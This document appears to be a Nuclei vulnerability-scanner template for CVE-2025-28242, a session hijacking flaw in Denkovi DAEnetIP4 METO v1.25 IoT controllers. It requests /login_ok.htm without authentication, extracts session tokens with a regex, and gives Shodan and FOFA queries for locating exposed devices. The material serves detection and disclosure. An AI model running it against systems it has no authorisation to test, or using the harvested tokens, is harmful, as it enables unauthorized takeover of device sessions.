DAEnetIP4 METO v1.25 - Session Hijacking

id: CVE-2025-28242

info:
  name: DAEnetIP4 METO v1.25 - Session Hijacking
  author: 0x_Akoko
  severity: high
  description: |
    DAEnetIP4 METO v1.25 contains improper session management in the /login_ok.htm endpoint, letting attackers hijack sessions, exploit requires attacker to control or intercept session tokens.
  impact: |
    Attackers can hijack user sessions, gaining unauthorized access to user accounts and sensitive information.
  remediation: |
    Implement proper session management and secure session tokens, and update to the latest version if available.
  reference:
    - https://github.com/shiky8/my--cve-vulnerability-research/tree/main/CVE-2025-28242
    - https://nvd.nist.gov/vuln/detail/CVE-2025-28242
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cwe-id: CWE-384
  metadata:
    max-request: 1
    verified: true
    vendor: denkovi
    product: daenetip4_meto
    shodan-query: title:"DAEnetIP4"
    fofa-query: title="DAEnetIP4"
  tags: cve,cve2025,daenetip4,denkovi,session-hijacking,iot

http:
  - method: GET
    path:
      - "{{BaseURL}}/login_ok.htm"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "DAEnetIP4", "session=")'
        condition: and

    extractors:
      - type: regex
        name: session-token
        part: body
        group: 1
        regex:
          - 'session=([0-9]+)'
# digest: 4a0a00473045022004543ab64720e33e4e29cfe5f378a708a10c29601a81d783a8a0af32e5239397022100a653b03ed0436d88439996c9f2d7552799ed3a2815603e4554919a544979baac:922c64590222798bb761d5b6d8e72950